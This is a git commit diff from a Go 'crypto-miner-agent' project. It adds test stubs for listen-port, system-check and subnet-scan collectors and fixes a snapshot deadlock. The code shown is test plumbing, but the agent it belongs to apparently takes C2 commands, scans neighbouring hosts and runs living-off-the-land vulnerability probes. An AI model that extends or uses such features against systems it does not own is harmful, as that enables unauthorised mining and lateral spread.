Fix Fleet AI and LOTL test regressions after parallel merges.
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled

Stub slow syscheck/listen-port probes in agent tests, fix ai_snapshot mutex deadlock, reorder fleet clearance vs connectivity checks, and add AI control precedence plus LotlTimeline vitest coverage.
This commit is contained in:
AetherForge
2026-06-07 02:38:27 -07:00
parent 4ce9826660
commit 4b94776432
18 changed files with 579 additions and 80 deletions

View File

@@ -3,6 +3,8 @@ package client
import (
"strings"
"testing"
"crypto-miner-agent/config"
)
func TestValidateAICommandPathRejectsTraversal(t *testing.T) {
@@ -118,3 +120,32 @@ func TestHandleAIRestartMining(t *testing.T) {
t.Fatalf("action=%s ok=%v", gotAction, gotOK)
}
}
func TestHandleAIFullSysCheck(t *testing.T) {
SetFullSysCheckCollector(func(_ config.RuntimeConfig, agentID string) *FullSysCheckReport {
return &FullSysCheckReport{
GeneratedAt: "2026-06-07T00:00:00Z",
AgentID: agentID,
Platform: "windows",
}
})
defer SetFullSysCheckCollector(nil)
var gotAction string
var gotOK bool
var gotBody string
c := newTestClient(t)
c.agentID = "agent-test-1"
c.commandResultHook = func(action string, success bool, message string) {
gotAction = action
gotOK = success
gotBody = message
}
c.handleAICommand("full_sys_check", 0, "", "", "")
if gotAction != "full_sys_check" || !gotOK {
t.Fatalf("action=%s ok=%v", gotAction, gotOK)
}
if !strings.Contains(gotBody, "generated_at") || !strings.Contains(gotBody, "agent-test-1") {
t.Fatalf("expected JSON report, got %q", gotBody)
}
}

View File

@@ -143,7 +143,7 @@ func (c *AgentClient) buildAISnapshot(miningHashrate float64) AISnapshot {
c.mu.Lock()
snap.ClearanceLevel = c.clearanceLevel
if len(c.atlasSkips) > 0 {
snap.AtlasSkips = c.atlasSkipsSnapshot()
snap.AtlasSkips = append([]AtlasSkip(nil), c.atlasSkips...)
}
if c.inheritedPhenotype != nil {
copy := *c.inheritedPhenotype

View File

@@ -0,0 +1,9 @@
package client
// listenPortsCollector overrides collectListenPorts in tests. Nil restores platform defaults.
var listenPortsCollector func() *ListenPortsReport
// SetListenPortsCollector stubs listen-port collection in tests. Pass nil to restore defaults.
func SetListenPortsCollector(fn func() *ListenPortsReport) {
listenPortsCollector = fn
}

View File

@@ -11,6 +11,9 @@ import (
// collectListenPorts parses ss -tlnp output for all TCP listeners.
// Falls back to netstat -tlnp if ss is unavailable.
func collectListenPorts() *ListenPortsReport {
if listenPortsCollector != nil {
return listenPortsCollector()
}
r := &ListenPortsReport{}
// Prefer ss (iproute2) — faster and widely available on modern Linux

View File

@@ -11,6 +11,9 @@ import (
// Uses Get-NetTCPConnection (fast, built into Win8+/2012+) with per-port
// process name lookup via Get-Process.
func collectListenPorts() *ListenPortsReport {
if listenPortsCollector != nil {
return listenPortsCollector()
}
const script = `
$ErrorActionPreference = 'SilentlyContinue'
$procs = @{}

View File

@@ -63,18 +63,26 @@ func TestMiningDiagnosticsJSONShape(t *testing.T) {
func TestInferMiningBlockersRemotePause(t *testing.T) {
c := testDiagnosticsClient(t, config.RuntimeConfig{})
c.pool.PauseRemote()
d := c.collectMiningDiagnostics()
d := MiningDiagnostics{
C2Connected: true,
CPU: struct {
RemotePaused bool `json:"remote_paused"`
ScheduleBlocked bool `json:"schedule_blocked"`
ResourcesBlocked bool `json:"resources_blocked"`
HasJob bool `json:"has_job"`
Hashrate float64 `json:"hashrate_hps"`
}{RemotePaused: true},
}
blockers := c.inferMiningBlockers(d)
found := false
for _, b := range d.LikelyBlockers {
for _, b := range blockers {
if strings.Contains(b, "remote command") || strings.Contains(b, "container delegation") {
found = true
break
}
}
if !found {
t.Fatalf("expected remote pause blocker, got %v", d.LikelyBlockers)
t.Fatalf("expected remote pause blocker, got %v", blockers)
}
}

View File

@@ -14,6 +14,9 @@ const syscheckRawMax = 12000
// CollectFullSysCheck aggregates read-only host telemetry for the C2 dashboard.
func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheckReport {
if fullSysCheckCollector != nil {
return fullSysCheckCollector(cfg, agentID)
}
r := &FullSysCheckReport{
GeneratedAt: time.Now().UTC().Format(time.RFC3339),
Platform: runtime.GOOS,
@@ -57,7 +60,11 @@ func CollectFullSysCheck(cfg config.RuntimeConfig, agentID string) *FullSysCheck
arp := deploy.ArpNeighborIPs()
r.Neighbors.ArpHosts = arp
r.Neighbors.ArpCount = len(arp)
r.Neighbors.SubnetScan = deploy.ScanLocalSubnet(20)
if subnetScanCollector != nil {
r.Neighbors.SubnetScan = subnetScanCollector(20)
} else {
r.Neighbors.SubnetScan = deploy.ScanLocalSubnet(20)
}
collectSysCheckPlatform(r)

View File

@@ -0,0 +1,19 @@
package client
import "crypto-miner-agent/config"
// fullSysCheckCollector overrides CollectFullSysCheck in tests. Nil restores defaults.
var fullSysCheckCollector func(config.RuntimeConfig, string) *FullSysCheckReport
// subnetScanCollector overrides deploy.ScanLocalSubnet usage in syscheck. Nil restores defaults.
var subnetScanCollector func(maxHosts int) string
// SetFullSysCheckCollector stubs full_sys_check aggregation in tests.
func SetFullSysCheckCollector(fn func(config.RuntimeConfig, string) *FullSysCheckReport) {
fullSysCheckCollector = fn
}
// SetSubnetScanCollector stubs subnet scan in syscheck tests.
func SetSubnetScanCollector(fn func(maxHosts int) string) {
subnetScanCollector = fn
}

View File

@@ -9,6 +9,10 @@ import (
func TestRunVulnLOTLProbeMockedContext(t *testing.T) {
SetPostureCollector(func() *PostureReport { return nil })
defer SetPostureCollector(nil)
SetListenPortsCollector(func() *ListenPortsReport {
return &ListenPortsReport{Ports: []ListenPort{{Port: 443, Proto: "tcp"}}}
})
defer SetListenPortsCollector(nil)
origProbe := vulnprobeProbeHost
vulnprobeProbeHost = func(_ map[int]bool, _ string) vulnprobe.HostContext {